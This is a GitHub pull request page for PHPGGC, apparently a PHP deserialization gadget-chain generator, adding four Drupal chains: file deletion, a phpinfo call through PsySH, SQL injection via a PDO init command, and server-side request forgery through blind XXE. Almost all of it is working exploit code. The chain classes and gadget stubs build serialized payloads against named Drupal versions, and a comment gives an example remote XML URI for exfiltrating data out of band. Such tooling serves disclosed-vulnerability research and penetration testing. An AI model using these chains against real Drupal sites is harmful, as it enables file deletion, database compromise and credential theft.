Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Drupal INFO1, SQLI1, SSRF1 and FD1 #208

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions gadgetchains/Drupal/FD/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\Drupal;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9 || >= 11.0.0 < 11.0.8';
public static $vector = '__wakeup';
public static $author = 'mcdruid';
public static $information = 'See: https://www.drupal.org/sa-core-2024-006';

public function generate(array $parameters)
{
return new \Drupal\Core\Config\StorageComparer(
new \Drupal\Component\PhpStorage\FileStorage(
$parameters['remote_path']
)
);
}
}
21 changes: 21 additions & 0 deletions gadgetchains/Drupal/FD/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
<?php

namespace Drupal\Core\Config {
class StorageComparer {
protected $targetCacheStorage;
public function __construct($targetCacheStorage)
{
$this->targetCacheStorage = $targetCacheStorage;
}
}
}

namespace Drupal\Component\PhpStorage {
class FileStorage {
protected $directory;
public function __construct($directory)
{
$this->directory = $directory;
}
}
}
25 changes: 25 additions & 0 deletions gadgetchains/Drupal/INFO/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<?php

namespace GadgetChain\Drupal;

class INFO1 extends \PHPGGC\GadgetChain\PHPInfo
{
public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9 || >= 11.0.0 < 11.0.8';
public static $vector = '__wakeup';
public static $author = 'mcdruid';
public static $information = 'See: https://www.drupal.org/sa-core-2024-007
This requires PsySH which is bundled with drush. It is common but not
mandatory for drush to be installed along with Drupal core. Other PHP
functions could be executed, but no parameters can be passed.';

public function generate(array $parameters)
{
return (
new \Drupal\views\ViewExecutable(
new \Psy\ExecutionClosure('phpinfo'),
new \Drupal\Views\DisplayPluginCollection(),
new \Drupal\views\Plugin\views\display\DefaultDisplay()
)
);
}
}
51 changes: 51 additions & 0 deletions gadgetchains/Drupal/INFO/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
<?php

namespace Drupal\views {
class ViewExecutable
{
protected $serializationData = [
'executed' => TRUE,
'storage' => 'frontpage',
'current_display' => 'default',
'args' => [],
'current_page' => '',
'exposed_input' => '',
'exposed_data' => '',
'exposed_raw_input' => '',
'dom_id' => '',
];
public $built = TRUE;
public $live_preview = TRUE;
public $query;
public $displayHandlers;
public $display_handler;

function __construct($query, $displayHandlers, $display_handler) {
$this->query = $query;
$this->displayHandlers = $displayHandlers;
$this->display_handler = $display_handler;
}
}

class DisplayPluginCollection
{

}
}

namespace Drupal\views\Plugin\views\display {
class DefaultDisplay
{

}
}

namespace Psy {
class ExecutionClosure {
protected $closure;

function __construct($closure) {
$this->closure = $closure;
}
}
}
28 changes: 28 additions & 0 deletions gadgetchains/Drupal/SQLI/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<?php

namespace GadgetChain\Drupal;

class SQLI1 extends \PHPGGC\GadgetChain\SqlInjection
{
public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9';
public static $vector = '__wakeup';
public static $author = 'mcdruid';
public static $information = 'See: https://gist.github.com/paul-axe/2a384bb5f2d430dd3b63b2484af960f4
See: https://www.drupal.org/sa-core-2024-008
Drupal/SSRF1 can be used to extract db credentials for SQL injection.';

public function generate(array $parameters)
{
return new \Drupal\Core\Url(
new \Drupal\Core\Database\StatementPrefetch(
'PDO', // class
[
'mysql:dbname=db;host=db', // DSN
'db', // username
'db', // password
[1002 => $parameters['sql']] // PDO::MYSQL_ATTR_INIT_COMMAND
]
)
);
}
}
3 changes: 3 additions & 0 deletions gadgetchains/Drupal/SQLI/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
<?php

require_once(DIR_GADGETCHAINS . '/Drupal/SSRF/1/gadgets.php');
27 changes: 27 additions & 0 deletions gadgetchains/Drupal/SSRF/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<?php

namespace GadgetChain\Drupal;

class SSRF1 extends \PHPGGC\GadgetChain\SSRF
{
public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9';
public static $vector = '__wakeup';
public static $author = 'mcdruid';
public static $information = 'See: https://gist.github.com/paul-axe/2a384bb5f2d430dd3b63b2484af960f4
See: https://www.drupal.org/sa-core-2024-008
https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band';

public function generate(array $parameters)
{
return new \Drupal\Core\Url(
new \Drupal\Core\Database\StatementPrefetch(
'SimpleXMLElement',
[
$parameters['uri'], // e.g. 'http://10.11.12.13/xxe.xml'
LIBXML_BIGLINES | LIBXML_DTDLOAD | LIBXML_NOENT | LIBXML_PARSEHUGE,
true
]
)
);
}
}
27 changes: 27 additions & 0 deletions gadgetchains/Drupal/SSRF/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<?php

namespace Drupal\Core {
class Url {
// use DependencySerializationTrait;
protected $_serviceIds = [];
public function __construct($serviceIds) {
$this->_serviceIds = $serviceIds;
}

}
}

namespace Drupal\Core\Database {
class StatementPrefetch
{
protected $currentRow = array();
protected $fetchStyle = 8; // PDO::FETCH_CLASS
protected $fetchOptions = array();

function __construct($class, $constructor_args)
{
$this->fetchOptions['class'] = $class;
$this->fetchOptions['constructor_args'] = $constructor_args;
}
}
}